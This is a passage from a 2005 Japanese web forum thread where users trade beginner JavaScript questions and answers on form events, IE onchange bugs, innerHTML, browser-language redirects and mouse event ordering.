759 名前:Name_Not_Found 投稿日:2005/10/26(水) 21:58:28 ID:???
>>757 洩れもエンティティ化、全然分からん。解説キボン。
>>758 共通の処理を関数として定義し、各ボタンのonclickで呼ぶ。

760 名前:Name_Not_Found 投稿日:2005/10/26(水) 22:04:29 ID:???
>>748大した法益違反してるわけでないし・・・
サイトうpじゃなければ、1度はやろうとすることなのでは?
(その意味でガイシュツ過ぎるわけだが)

761 名前:Name_Not_Found 投稿日:2005/10/26(水) 22:19:24 ID:???
<FORM action="a.cgi" method="POST" name="formname">
<INPUT type="submit" name="a" value="送信1" onclick="hoge(this)">
<INPUT type="submit" name="b" value="送信2" onclick="hoge(this)">
</FORM>
・・・・
function hoge(root){
alert(root.name);
error_check();
document.forms["forname"].submit();
}


762 名前:Name_Not_Found 投稿日:2005/10/26(水) 22:19:34 ID:???
>>759
度々すみません。

例えば
<INPUT type="submit" name="a" value="送信1" onclick="v(1)">
とした場合、onsubmit="return error_check()"の error_check内では
この1という引数をどのように参照できるのでしょうか。

763 名前:Name_Not_Found 投稿日:2005/10/26(水) 22:37:00 ID:???
>>762
onsubmitは送信されたときに関数を呼び出す
onclickはクリックされたときに関数を呼び出す

aかbどちらが押されているか判別したいんでしょ?
マウスポイントが2個ある訳でもなく、押された方が関数(onclickで指定した)を呼ぶ
その他にonmouseoverとかあるけどそこらへんはググってくれ。

onchangeとかは何気によく使う

764 名前:Name_Not_Found 投稿日:2005/10/26(水) 23:00:02 ID:i8AJ18n8
質問です。
IEにて、以下が記述されたページを開き、
テキストボックスに"a"と入力しフォーカス移動 → 値が"TEST"になり、alertで"TEST"が表示される(onchangeがうごく)
もう一度"a"と入力しフォーカス移動→ なにも起きず
※"a"以外 ("TEST"でも)の値であればonchangeがうごく

---
<input type="text" value="" onchange="this.value='TEST';alert(this.value)" >
---

この現象について、何かご存じの方いますか?
二回目に"a"と入力した時にも、onchangeを動作させることはできませんか?

参考までに、
Opera8では二度目に"a"と入力したときもonchangeがうごくことは確認しています


765 名前:Name_Not_Found 投稿日:2005/10/26(水) 23:12:28 ID:???
>>764
そりゃ仕様的にはどっちもありだから無理ぽいような。
onkeydownでフラグを立て、onblurでフラグが立ってたら
alertとかではどうかな。

766 名前:Name_Not_Found 投稿日:2005/10/27(木) 00:08:42 ID:LXwxY/Ah
よろしくお願いします。

id="ai1"にフォーカスが当たった時にid="ai2"の
テキストボックスを有効にしています。

その後、「ai1・ai2」どちらにもフォーカスが無い場合に
元の状態(ai1:表示、ai2:非表示)にしたいと思っていますが
なにか方法はありますでしょうか?


<script language="JavaScript">
<!--
function disp(blFlg)
{
if(blFlg){
document.getElementById("ai2").style.display = "block";
}else{
document.getElementById("ai2").style.display = "none";
}
}
//-->
</Script>

<INPUT TYPE="text" NAME="an1" id="ai1" VALUE="" onFocus="disp(true)">
<INPUT TYPE="text" NAME="an2" id="ai2" style="display:none" VALUE="" onBlur="disp(false)">

767 名前:Name_Not_Found 投稿日:2005/10/27(木) 00:46:14 ID:???
表示が送信でも値が変わるって意味では。
送信と、送信ってことかな?

768 名前:Name_Not_Found 投稿日:2005/10/27(木) 00:52:13 ID:xmaZRziX
windowのサイズをゆっくり変えたいのですが可能でしょうか?
resizeの動作とは違い、サイズ変更に動きを持たせたいのですが。

769 名前:688 投稿日:2005/10/27(木) 01:48:06 ID:???
>>768
resizeを細かく繰り返す

770 名前:Name_Not_Found 投稿日:2005/10/27(木) 01:53:50 ID:???
質問です。
location.reloadを使いたいのですが、
テーブルの中の1枠だけ、とか
そういうふうにreloadすることってできますか??

771 名前:Name_Not_Found 投稿日:2005/10/27(木) 01:59:04 ID:???
input type="text" のテキストボックス内でのエンターを
禁止にしたのですが、可能であればご教示いただけますと
幸いです。

772 名前:Name_Not_Found 投稿日:2005/10/27(木) 02:08:00 ID:???
>>770
そりゃ無理だ。

773 名前:Name_Not_Found 投稿日:2005/10/27(木) 02:16:06 ID:???
>>771
ほれ。
<input type="text" onkeydown="if(event.keyCode==13) return false">

774 名前:Name_Not_Found 投稿日:2005/10/27(木) 02:23:44 ID:???
>>765
回答ありがとうございます。
えぇと、仕様的にはどっちもありとのことですが、
再度確認です。

一度目の"a"と入力しonchangeが動いた時点で、
画面表示もScriptで取得される値も"TEST"となっているにも関わらず、
二度目の"a"の入力("TEST"を書き換え)で、onchangeが実行されない。

上記の動きは仕様どおりでしょうか?
仕様どおりだとしたら何の仕様でしょうか?JavaScript?
HTMLの仕様では以下のようになっているようですが。
---
onchangeイベントは、コントロールが入力フォーカスを失った際に、
フォーカスを得た時と比べて値が変化していた時に発生する。
---

〜続く〜


775 名前:Name_Not_Found 投稿日:2005/10/27(木) 02:25:02 ID:???
〜続き〜
■検証
以下のテキストボックスに、"a"を入力しフォーカスアウト。2回繰り返す。
---
<input type="text" value="" onchange="this.value='TEST';" onfocus="alert(this.value);" onblur="alert(this.value);" >
---
結果
 初回 :onfocusでは空、onblurでは"TEST"、テキストボックスの表示="TEST"
 2回目:onfocusでは"TEST"、onblurでは"a"、テキストボックスの表示="a"

補足ですが、
この処理で行いたいのは、入力された文字列の補正です。
(トリムとか小文字→大文字変換とか)
提示しているソースは問題を再現可能な範囲で簡略化したものです。

フラグ等を使用する処理は煩雑かつ見通しが悪くなるため、可能な限り避けたいところです。
上記動作が仕様orバグによるところであれば、そうせざるを得ませんが。

長文失礼しました。


776 名前:Name_Not_Found 投稿日:2005/10/27(木) 03:17:40 ID:???
>>764 (>>774-775)
http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/events/onpropertychange.asp
http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/propertyname.asp
を使えば確実。あと、仕様云々に関しては、IE のバグ(変な実装)。

777 名前:Name_Not_Found 投稿日:2005/10/27(木) 03:24:04 ID:???
>>766
IE, Opera7- なら、document.activeElement を参照するのが簡単。

778 名前:Name_Not_Found 投稿日:2005/10/27(木) 03:26:44 ID:???
>>773
ありがとうございました

779 名前:Name_Not_Found 投稿日:2005/10/27(木) 03:33:47 ID:???
>>770
>>3 FAQ-10
http://msdn.microsoft.com/workshop/author/behaviors/reference/behaviors/download.asp
http://msdn.microsoft.com/workshop/author/behaviors/reference/methods/startdownload.asp

780 名前:Name_Not_Found 投稿日:2005/10/27(木) 04:01:59 ID:???
>>770
こいつは、こういうことをやりたいのだろ
body以下最初の要素を換えるとして
document.body.firstChild.innerHTML='hoge';
すべてdocument.writeしてるかなにかでinnerHTMLを知らないお燗。
要素を追加すると元のが全部消えちゃう。
→1行だけリロードしたら行けるだろ。
>>770カキコと

781 名前:Name_Not_Found 投稿日:2005/10/27(木) 04:58:36 ID:???
<script id="test">
var hoge=0;
</script>

<script>
alert(document.getElementById('test').innerHTML)
</script>

実行すると「var hoge=0;」と表示されますが
<script id="test" src="hoge.js"></script>
のように外部ファイルの場合はダメです。

どうにかして外部ファイルの内容を取得することはできませんか?

782 名前:Name_Not_Found 投稿日:2005/10/27(木) 05:07:35 ID:???
>>781
つ return

783 名前:Name_Not_Found 投稿日:2005/10/27(木) 06:00:13 ID:???
>>782
すんません。returnをどう使うかわかりません。
外部ファイルには複数の関数があってもいけます?

784 名前:Name_Not_Found 投稿日:2005/10/27(木) 06:38:02 ID:???
return ワロタ

まあ XMLHttpRequest でも使えば?

785 名前:Name_Not_Found 投稿日:2005/10/27(木) 06:41:14 ID:???
>>784
なんだネタか。ふつうにだまされた。
でもいろいろ試してるうちに外部ファイルでも
alert(関数名)
で関数の中身は見れることがわかりました。
functionに入ってない部分は見れないみたいですね。

786 名前:Name_Not_Found 投稿日:2005/10/27(木) 07:48:00 ID:???
いや、見られるけど。
呼び出しの場所が悪いんじゃないの?

787 名前:Name_Not_Found 投稿日:2005/10/27(木) 08:01:56 ID:Ys3kgy9m
質問です。
テキストボックスの背景色を変更しようとしています。

document.all("tbx1").style.backgroundColor="#ff0000";

WindowsのIE5,6, Firefox, Opera8 では正常に変更され、
MacのsafariでもOKでしたが、なぜかMacのOpera7だけ変更されません。

上記を実行後、alert(document.all("tbx1").style.backgroundColor); を実行してみると
一応「#ff0000」変更はされているのですが、画面上の色は変わりません。

これは私の間違いか、それともバグでしょうか。

788 名前:Name_Not_Found 投稿日:2005/10/27(木) 08:09:47 ID:???
レンダリングにものすごい時間のかかるページ(1万行の table とか)で、
「描画しています。しばらくお待ちください...」
みたいなメッセージを何らかの形で出すことはできませんか?
いろいろ考えてはみましたが、良い方法が見つかりません。

document.write("待て") // 上書きしたら出そうとしているソースまで出なくなっちゃう
alert("待て") // script から alert を消す方法がない
window.status = "待て" // IE以外のブラウザでは怪しい
window.open("待て.html") // 要求していないポップアップはたいていブロックされる

789 名前:Name_Not_Found 投稿日:2005/10/27(木) 08:31:11 ID:???
>>788
ヒント >>1-

790 名前:Name_Not_Found 投稿日:2005/10/27(木) 08:32:50 ID:???
>>787
たぶん原因はこれじゃないけど、all 使うな

791 名前:Name_Not_Found 投稿日:2005/10/27(木) 08:34:24 ID:???
>>787
昔のOperaはバグ多かった。
>>788
innerHTMLで書き換えればおk。

792 名前:Name_Not_Found 投稿日:2005/10/27(木) 08:35:15 ID:???
>>787
getElementById[]でもだめ?

793 名前:Name_Not_Found 投稿日:2005/10/27(木) 08:46:12 ID:???
なんか流れ速いなあ。あっという間に1スレ終っちゃうじゃない。
>>774
: onchangeイベントは、コントロールが入力フォーカスを失った際に、
…そのときの値は「a」
: フォーカスを得た時と比べて
…そのときの値も「a」
: 値が変化していた時に発生する。
…値は変化していない、したがってonchangeが発生しないのが仕様通り?
>>786
え、洩れも知りたい、<scrit src="..."></script>で取り込んだ
JSソースを関数になってない部分も含めて文字列として取得するには
どうするの? (XMLHttpRequestを使う方なら分かるけど)
>>788
FAQ >>3 を読んでないだろ。

794 名前:787 投稿日:2005/10/27(木) 09:00:39 ID:???
>>790, >>792
getElementById でも同じ結果でした。
エラーにもならず、同じように値を取得すると
変更はされていますが、画面上に変化はありません。

>>791
バグでしょうかね、もうちょっとやってみて駄目なら諦めます。

ありがとうございました。

795 名前:Name_Not_Found 投稿日:2005/10/27(木) 09:20:26 ID:???
>document.write("待て") // 上書きしたら出そうとしているソースまで出なくなっちゃう
激藁
君のこのスレに対する扱いが手に取るように分かるよ。

var beforeData=document.body.innerHTML;
document.body.innerHTML='描画しています。しばらくお待ちください...';
〜処理〜//描写せずに変数afterDataに貯めとく。afterData+=〜〜とか
document.body.innerHTML=afterData;

1万行はどういう処理してるか知らんが、もし見た目フリーズするように見えるなら
一定処理ごとにdocument.body.innerHTML+=■;
でもしとけ。

796 名前:Name_Not_Found 投稿日:2005/10/27(木) 11:03:04 ID:???
Flashで動くjavascriptってブラウザ依存ってあります?


797 名前:Name_Not_Found 投稿日:2005/10/27(木) 11:04:43 ID:???
flashとJavaScriptは別物。
前者はバージョンの違いが関係することが有り、
後者はブラウザで挙動が変化することがある。

798 名前:Name_Not_Found 投稿日:2005/10/27(木) 11:14:20 ID:???
>>797
あれ?
Flashのaction scriptってjavascriptで
プログラミングするもんだと思ってたんですが勘違い?

799 名前:Name_Not_Found 投稿日:2005/10/27(木) 11:21:43 ID:1rCbQiK5
JavaScriptでPCの内臓時計を性格に修正することはできますか。
桜時計がWIN-XPに対応していないもので。
どなたか、アドバイスお願いいたします。

800 名前:Name_Not_Found 投稿日:2005/10/27(木) 11:22:15 ID:???
>>798
そういう意味でならflash板へどうぞ。

801 名前:799 投稿日:2005/10/27(木) 11:22:25 ID:1rCbQiK5
×性格
○正確

802 名前:Name_Not_Found 投稿日:2005/10/27(木) 11:30:18 ID:???
>>798
FlashのActionScriptとブラウザのJavaScriptとは言語仕様
(コア部分)がECMA-262由来だということで構文と少数の標準オブジェクト
とかは一緒。ActionScript2はその拡張。あなたが質問している
システム依存な部分はまるきり別というか無関係。
>>799
絶対にできない。できたらどうなると思うよ、見たヤシのPCの時計
狂わせ放題なページ作れるだろ、ありえない。ちょっとは想像力使いなよ。

803 名前:Name_Not_Found 投稿日:2005/10/27(木) 11:35:44 ID:???
>>799
ってか桜時計XPでバリバリ動いてるよ?
ひょっとして起動試そうともしなかったとか?

804 名前:Name_Not_Found 投稿日:2005/10/27(木) 13:51:53 ID:???
>>802
どうも。Flash板逝ってきます

805 名前:799 投稿日:2005/10/27(木) 15:11:16 ID:+dMTI8nu
>>802
えっ、そうなんすか?サイトのページが旧かったのかなあ
すんません。

806 名前:Name_Not_Found 投稿日:2005/10/27(木) 15:29:16 ID:???
<input type="text">のvalueが、横幅に収まりきらないぐらい長い値に動的に書き換えられたとき、
最後の方の文字が表示されるように、自動でスクロールさせることはできませんか?



807 名前:Name_Not_Found 投稿日:2005/10/27(木) 15:46:31 ID:???
>>806
自動というのが良くわからないけれど、Rangeを上手く変更してfocusすれば出来そうな気はする

808 名前:Name_Not_Found 投稿日:2005/10/27(木) 17:41:11 ID:???
>>807
Rangeを上手く変更?Rangeなんて初めて聞きました
検索したらオレンジレンジがいっぱい orz

809 名前:Name_Not_Found 投稿日:2005/10/27(木) 22:00:47 ID:???
var list = """";
というコードはどういう意味なのでしょうか
どなたかご教示願います

810 名前:Name_Not_Found 投稿日:2005/10/27(木) 22:30:00 ID:???
>>809
シンタックスエラー

811 名前:Name_Not_Found 投稿日:2005/10/28(金) 06:56:52 ID:???
>>809
"""" →';'がありません。
""" →終了してない文字列型の定数です。
"" →性情(IE6)

812 名前:Name_Not_Found 投稿日:2005/10/28(金) 07:05:25 ID:???
すいません。ここで質問する内容じゃないとは思うんですが、
javascriptに詳しい方が多いと思い質問させて頂きます。

javascriptで強制的?に日本語のページに飛ばされてしまいます。
英語ページに行きたいんですが、どうしたら行けるんでしょうか?


813 名前:Name_Not_Found 投稿日:2005/10/28(金) 07:06:46 ID:???
JavaScriptを切る

814 名前:812 投稿日:2005/10/28(金) 07:27:21 ID:???
JavaScriptを無効にしたら、
「JavaScript が必要です」って言われるんです・・

815 名前:Name_Not_Found 投稿日:2005/10/28(金) 08:08:59 ID:???
ブラウザの言語設定を変更しろ

これ以上はスレ違い(というより板違い)だから調べるなり移動するなりして下さい

816 名前:Name_Not_Found 投稿日:2005/10/28(金) 08:23:28 ID:66si/Tso
DIVのブロック内にマウスが入ったときにマウスオーバーをしないように
したいのですが、onmouseover="onblur()"ではだめですか。
実際だめなのですが、どうすればよいでしょうか。

817 名前:Name_Not_Found 投稿日:2005/10/28(金) 08:44:17 ID:???
>マウスオーバーをしないようにしたいのですが
マウスオーバーでイベントを発生させないってこと?
ユーザーがマウスオーバーするのがもう耐えられない、とかじゃないんだろw

818 名前:816 投稿日:2005/10/28(金) 09:03:29 ID:???
というか、元々マウスオーバーの設定されているオブジェクトがあって、
それをDIVで囲んでonmouseoverのイベントをつけることで動作を阻止
したいんです。よろしくお願いします。

819 名前:Name_Not_Found 投稿日:2005/10/28(金) 09:24:43 ID:???
何かのイベント起きたときにonmouseover=null;じゃだめなの?


820 名前:Name_Not_Found 投稿日:2005/10/28(金) 09:25:22 ID:???
あ、ごめ。
onmousemoveと間違えた。

821 名前:816 投稿日:2005/10/28(金) 11:43:27 ID:???
ありがとうございます。nullでもだめです。
Flashのオブジェクトなんですが、無理と諦めます。
多謝

822 名前:Name_Not_Found 投稿日:2005/10/28(金) 11:48:04 ID:???
>>818
>>2 (2)

823 名前:Name_Not_Found 投稿日:2005/10/28(金) 12:21:55 ID:???
>>815
ありがとうございます。
見ることができました。

板違いすいませんでした。

824 名前:Name_Not_Found 投稿日:2005/10/28(金) 13:38:15 ID:???
つイベントのバブリング

825 名前:Name_Not_Found 投稿日:2005/10/28(金) 13:40:54 ID:???
nullというよりreturnじゃないか?なにもしなければいいんだろ。

826 名前:Name_Not_Found 投稿日:2005/10/28(金) 13:49:53 ID:???
flash なら無理でしょ

827 名前:Name_Not_Found 投稿日:2005/10/28(金) 20:58:13 ID:???
Ajax でサーバーの情報とを下にリアルタイムでドキュメントを書き換えたいと思ってます。
同時に別のスクリプトも動かしたいので、非同期処理で何とかしようと思い、以下のように設計しました。

1.変数 X を準備し値を 0 で初期化
2.ごく短い一定間隔で関数 F を実行
3.関数 F は X の値が 0 であれば X=1 を代入し、非同期でサーバーに接続を開始。
 1ならばそのまま終了。
 (非同期処理で呼ばれる関数 F は処理の最後に X=0 の代入を実行する。)

処理を引き受けるサーバーのほうでは、
リクエストを受け取っても変更が無い場合はそのままスリープして、
送信するべき変更があったときにデータを送信する。

というような構成でいこうと思っているのですが、
こういうようなことをしたいときにもっとスマートなコーディングはできるんでしょうか?
どうも JavaScript の非同期処理ってものが理解できていなくて、
ムダにインターバルを使ってる気がします。

どなたか御助言お願いいたします。

828 名前:Name_Not_Found 投稿日:2005/10/28(金) 21:08:08 ID:???
>>827
設計の説明が拙すぎてさっぱりわからないから、
AJaxの非同期処理についてだけ助言します。

XMLHttpRequestを使ってサーバにリクエストを投げたとき、
非同期処理だとレスポンスを待たずにそのまま進みます。
実際にレスポンスが来たとき(正確には状態が変わった時)に、
予め指定していた関数を呼び出します。

#もしJavaScriptで別の処理をしていた場合は、その処理が終わるのを待ちます
#(SetTimeout(callbackFunction,0) みたいな感じです)

829 名前:Name_Not_Found 投稿日:2005/10/28(金) 21:08:45 ID:???
そんなことせんでイベントハンドラ使うべきかと

830 名前:Name_Not_Found 投稿日:2005/10/28(金) 21:21:49 ID:sXaMSgMc
板質問ですみません。チャットの掲示板ってありますか?
あれば、URI教えてください。

831 名前:Name_Not_Found 投稿日:2005/10/28(金) 21:49:09 ID:???
>>827
>>2 (2)

832 名前:Name_Not_Found 投稿日:2005/10/28(金) 22:38:26 ID:Uzcx+OkC
tableのセルのうち、共通な要素があるものを共通の背景色にしたいのですが
同じIDを複数のセルにつけられませんし、どうしたらいいのか悩んでいます。
何かいい方法はないでしょうか?

833 名前:Name_Not_Found 投稿日:2005/10/28(金) 22:39:20 ID:???
>>832
同じクラスを指定したらいいんでないの。JSと関係ないなあ。

834 名前:764 投稿日:2005/10/28(金) 22:39:54 ID:???
流れがはやいなぁ。
返事がおそくなりました。

>>776
お返事ありがとうございます。 
この現象についてはバグということで。

>>793
お返事ありがとうございます。 
2回目にフォーカスを得たときには「TEST」となっています。(>>775
「TEST」→「a」となるのにonchangeが発生しないので、なんか変だなぁと。

とりあえず、
---
環境:Win IEで確認 
条件:<input type="text">のonchangeイベント処理でイベント発生元のvalueをさらに変更した場合
現象:その後、onchangeイベントが正しく発火しなくなることがある。
    (onchangeで変更する前の値にユーザが変更した場合)
回避法:onchange以外のイベントを利用する。
---
ということですね。

onchangeで値の書き換えって結構ありがちな処理だと思うんですが、
有名なバグなんでしょうか?
IEにもBugzillaみたいな仕組みがあれば既知のバグか調べられるけど。ないですよね。

とりあえずおつきあい頂いた方、ありがとうございました。


835 名前:Name_Not_Found 投稿日:2005/10/28(金) 22:44:10 ID:Uzcx+OkC
>>833
同じクラスを割り当ててるセルに、
JavaScriptで背景色を指定してやる方法がわからなくて。
もうちょっと勉強してみます。

836 名前:Name_Not_Found 投稿日:2005/10/29(土) 02:33:54 ID:???
>>835
IEならcreateStyleSheetでほげほげ
他はcreateElement('link')でぽけぽけ

837 名前:Name_Not_Found 投稿日:2005/10/29(土) 03:41:33 ID:MebxK4HV
ブラウザの使用言語が日本語だったら他のページ(ごめんなさい、あなたにはこのサイト見えないよ!って書いてるページ)
に飛ばすスクリプトを作っています。
(ほんとは日本語じゃなかったら、なんですがローカルテストなので変えてます)
で、こういうふうに書きました。
<SCRIPT type="text/javascript">
<!--
//IE
brlan = navigator.browserLanguage;
//IE以外
if (brlan == undefined){
brlan = navigator.Language;
}
//日本語だったらsorryへ
if (brlan == ja){location.href="sorry.html";}
//-->
</SCRIPT>

sorry.htmlへ飛ばすことができません。
どうしたらよいでしょうか。
環境はWINXP+IE6で確認。

838 名前:Name_Not_Found 投稿日:2005/10/29(土) 04:16:31 ID:???
>>837
if(brlan == ja) で ja って名前の変数が出てきてるがこりゃなんだ。
ここみれ

クロスブラウザを制する Part 2 2-12 ブラウザ言語取得 - [JavaScript]All About
http://allabout.co.jp/career/javascript/closeup/CU20010915/?FM=lt

839 名前:Name_Not_Found 投稿日:2005/10/29(土) 04:17:37 ID:???
>>837
> navigator.Language
// Mozilla1.8
javascript:alert(navigator.Language) // undefined
javascript:alert(navigator.language) // en-US

> brlan == ja
ReferenceError: ja is not defined
// 変数 ja は他所で事前に宣言され値を割り当てられているのかもしれないが、いちおう。

ところで、これが上手く動いたとして、便利ですか。

840 名前:Name_Not_Found 投稿日:2005/10/29(土) 05:11:03 ID:???
>>837
俺生粋の日本人ですが英語環境で閲覧することが割とあるので
そういうサイトに遭遇したらかなり凹みます

841 名前:Name_Not_Found 投稿日:2005/10/29(土) 07:04:16 ID:???
>>840
まぁきっと素材屋だろうね。外国人はじき。

842 名前:Name_Not_Found 投稿日:2005/10/29(土) 09:10:17 ID:7E/VxqDm
おはー。
JavaScriptできるようになるには、何年くらいかかりますか?
習いたいです。他言語の経験なし。よろよろ。

843 名前:Name_Not_Found 投稿日:2005/10/29(土) 10:40:15 ID:???
>>842
経験なしだっらた.25年

844 名前:842 投稿日:2005/10/29(土) 10:58:21 ID:YxXqFJ9r
>843
えっ!そんなにかかる?30+25で定年まで5年しかできませんよー。
窮極の上達法教えてください。恩にきります。よろ。

845 名前:Name_Not_Found 投稿日:2005/10/29(土) 11:02:50 ID:YxXqFJ9r
質問です。
5捨5入ってのがあると、はじめて聞きました。
それって、何ですか。どういうスクリプト書くんでしょう。
ご教示よろしくお願いします。

846 名前:Name_Not_Found 投稿日:2005/10/29(土) 11:08:05 ID:???
>>844
まずは小数点を読めるようになるところからだね

847 名前:Name_Not_Found 投稿日:2005/10/29(土) 11:09:57 ID:???
>>845
ttp://www.rasweb.co.jp/demo/ie/demo7/GoGo.html

848 名前:837 投稿日:2005/10/29(土) 12:01:54 ID:???
はっきり言うとね・・・韓国をはじきたいんです。
某韓国の某大手プロバイダからスパム送信や掲示板スパムが多くて多くて。
htaccessでそのプロバイダはじいていますが、たまにIPのみのがあって
それがはじけないんです。だからhtaccessではじけないのをこっちで。と
考えたんですよ。
#IP範囲指定したら、日本のプロバイダ(=自分(笑))まではじかれた。
もちろんJava切ってたら意味なんかないわけですが、アクセス数はそう
多くないし、Java有効で来てるのでOK<該当者

>>838
間違いわかりました。ありがとう。
>>837
>if (brlan == ja){location.href="sorry.html";}
掲示のページのコードより
>if( lng=='ja' ) return textjp
     ~~~~~
これが問題でした’’でくくらないといけなかったんですね(恥)
動作しました、とりあえず。

>>839
Lとlで二種類あったのでどういうことだろうと思っていました。
さんくすです。

849 名前:Name_Not_Found 投稿日:2005/10/29(土) 12:03:17 ID:???
>>847
いぢわる(笑)
でも一つ突っ込んでいい?

小数点から始まる数字はありません。

・・・タイプミスかと思ったし。

850 名前:845 投稿日:2005/10/29(土) 13:22:47 ID:???
>>847
もち、それ見たんでスよ。ここへ来る前にググったかって
ゼッタイ聞かれると思って。でも、よくわからないです。
噛み砕いてお願いできますか。

851 名前:Name_Not_Found 投稿日:2005/10/29(土) 13:35:26 ID:???
>>850
私も初耳でしたけど、ググッたらわかりましたよ。
自分で探したら?
で、スレ違いだと思います。

852 名前:Name_Not_Found 投稿日:2005/10/29(土) 14:55:54 ID:???
最近レベルがまた下がってきたね。
どうでもいい話題ばかり・・・

853 名前:Name_Not_Found 投稿日:2005/10/29(土) 15:37:30 ID:???
>>848
Javascriptじゃ無理

854 名前:Name_Not_Found 投稿日:2005/10/29(土) 15:42:39 ID:???
>>850
銀行式丸め
指定した桁の値が「5」のとき、
一つ前の桁が偶数のときは「切捨て」、
奇数のときは「切り上げ」を行う

さぁこのスレから出て行ってください

855 名前:Name_Not_Found 投稿日:2005/10/29(土) 17:24:02 ID:jF7ezfcz
tp://www.zakzak.co.jp/gei/2005_10/g2005102902.html

ここの写真をクリックするとニューウィンドウが開いて、それをクリックするとウインドウが閉じます。
window.closeとかジャバスクリプトを使っているのですが、

WIN XP sp2のIE6で、ジャバをブロックする情報バーが表示されません。

どうやって情報バーの表示を抑制しているのですか?



ソースをテキストで開いていじくってみたところ、タグとかの使い方ではないようでした。

856 名前:Name_Not_Found 投稿日:2005/10/29(土) 18:20:44 ID:???
誰かが抑制した

857 名前:Name_Not_Found 投稿日:2005/10/29(土) 19:51:17 ID:???
>>855
意味不明
情報バーの表示を抑制なんてしてません。

ローカル環境のjavascript付きのhtmlを
実行するのと勘違いしてんのか?

858 名前:Name_Not_Found 投稿日:2005/10/29(土) 20:21:27 ID:???
もう初心者お断りでいいよ・・・

859 名前:Name_Not_Found 投稿日:2005/10/29(土) 20:58:20 ID:???
>>858
このスレにおける初心者とは、具体的に、どの程度ですか。

860 名前:Name_Not_Found 投稿日:2005/10/29(土) 21:06:16 ID:???
HTMLの仕様書を読んでこなかった人
CSSの仕様書を読んでこなかった人
ECMAScriptの仕様書を読んでこなかった人

861 名前:Name_Not_Found 投稿日:2005/10/29(土) 21:18:13 ID:???
>>860
それは該当部分という意味ですか、それとも、全てという意味ですか。

862 名前:Name_Not_Found 投稿日:2005/10/29(土) 21:20:06 ID:???
リテラルも仕様も分からない人

863 名前:Name_Not_Found 投稿日:2005/10/29(土) 21:24:11 ID:???
>>862
リテラルとは?

864 名前:Name_Not_Found 投稿日:2005/10/29(土) 21:28:18 ID:???
例えば何でもかんでも質問で返す人

865 名前:Name_Not_Found 投稿日:2005/10/29(土) 21:36:31 ID:???
>>864
もう詰まりましたか、初心者さん。

866 名前:Name_Not_Found 投稿日:2005/10/29(土) 21:43:53 ID:???
独断で、>>858, >>860, >>864 は初心者です。
でも、>>862 は論理が弱いだけで初心者じゃあない。
これらが同一人物かどうかは知りませんし、同一人物を分けてしまっているかもしれない。
ただ、どうしてこういう分類が出来てしまうのか、自分でも分からないのです。

867 名前:855 投稿日:2005/10/29(土) 21:49:58 ID:???
>>857
Web上では出ないのが普通なんですね。
ローカル上でも出ないように出来ました。
情報たすかりました。

868 名前:Name_Not_Found 投稿日:2005/10/29(土) 21:55:36 ID:???
初心者かどうかは、問題にするようなことなのか、この低レベル過疎板のスレにおいて。

869 名前:Name_Not_Found 投稿日:2005/10/29(土) 22:16:24 ID:???
859=861=865=866
必死棚。

870 名前:Name_Not_Found 投稿日:2005/10/29(土) 22:19:36 ID:KCz+05pv
早くも恒例の質問者いじめ談義か。


871 名前:Name_Not_Found 投稿日:2005/10/30(日) 00:00:10 ID:???
>>848
せっかくできたところでに申し訳ないが
スパムには専用のツールがある場合が多くて
そういったツールでは JS を解釈してくれないようだ

まあもしかしたら
そういったツールでないのかもしれんけど

>>849
エクセルで ドット 1 エンター と打ち込んでみるといい
電卓でもいいよ

>>855

872 名前:Name_Not_Found 投稿日:2005/10/30(日) 05:25:01 ID:FuF7KBJi
以下のサイトで紹介されている電卓なのですが、
http://www.red.oit-net.jp/tatsuya/java/calc.htm
Netscape, Opera, Firefox では同じボタンを
2回連続で押してもさくさく入力されるのですが、
IEでは動作が鈍いです。

ただ、隣同士のボタンを交互に素早く押すと
IEでもさくさく入ります。
ソース自体には問題があるように思えませんし、
IEのDOMの処理が遅いと言うより、
IEがINPUTボタンの二重送信の防止?を行っているのでしょうか。

873 名前:872 投稿日:2005/10/30(日) 05:57:57 ID:???
試しに、INPUTボタン以外のものにonClickを設定して
実行してみましたが、挙動が同じでした。

IEは、同じ要素からのイベント実行の際に
処理が遅くなるのでしょうか

874 名前:Name_Not_Found 投稿日:2005/10/30(日) 09:00:32 ID:???
>>859
以前からいる性悪常連から質問者(回答者)いびりされるレベル。
良レスなら、ホレ氏がすかさずホレしてフォローする程度。

性悪常連もホレ氏も飽きれてこない今のレベルは
常連からすれば、初心者以下という判断。一切スルー

スルーしないのは初心者だけw
>>858が切れかかった性悪である可能性はある。

875 名前:Name_Not_Found 投稿日:2005/10/30(日) 09:51:14 ID:???
初心者が悪いわけじゃない。厨房な奴は初心者だろうと何だろうと
悪い。厨房な常連というものが(極少数を除き)存在しないだけ。

876 名前:Name_Not_Found 投稿日:2005/10/30(日) 10:13:41 ID:???
>>873
二重送信の防止ではなくて、イベントの認識の違いです。
IEだと連続クリック(ダブルクリック)は「onclick→ondblclick」とイベントが発生するが、
多分他だと「onclick→onclick→ondblclick」となったはず。

その為にこういう現象が発生します。

マウスでダブルクリックした時のイベント順は↓の順になるかな。
(以前調べた記憶を辿ってるので間違いの可能性あり、正確には自分で調べてください)
[IE6]
onmousedown→onmouseup→onclick→onmouseup→ondblclick
[NN]
onmousedown→onmouseup→onclick→onmousedown→onmouseup→onclick→ondblclick

よって、
1.
<input type="button" value=" 1 " ondblclick="myValue(1)" onclick="myValue(1)">//IEだけ
2.
<input type="button" value=" 1 " onmouseup="myValue(1)">

なんて風に対応する必要があり。

877 名前:Name_Not_Found 投稿日:2005/10/30(日) 11:11:46 ID:???
実験してみりゃいいんだな

<a href="#" onmousedown="alert('onmousedown');" onmouseup="alert('onmouseup');" onclick="alert('onclick');" ondblclick="alert('ondblclick');">クリック</a>

878 名前:Name_Not_Found 投稿日:2005/10/30(日) 11:22:35 ID:???
>>877
alertじゃondblclickの前にonclickイベントの
メッセージで止まるのでメッセージ用のテキストボックスあたりに
文字を連結して出力する必要がある


879 名前:Name_Not_Found 投稿日:2005/10/30(日) 12:56:06 ID:???
>>878
書いてから、そうじゃないかとは思った。

880 名前:Name_Not_Found 投稿日:2005/10/30(日) 13:47:56 ID:QvqpTORU
IEでイベントの中でマウスのウインドウ内座標を取得するのは、

x = window.event.clientX+document.body.scrollLeft

がFAQだと思うのですが、htmlヘッダに
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/ht
ml4/loose.dtd">
の指定があると、scrollLeftがスクロールしてても0になってしまうようです。
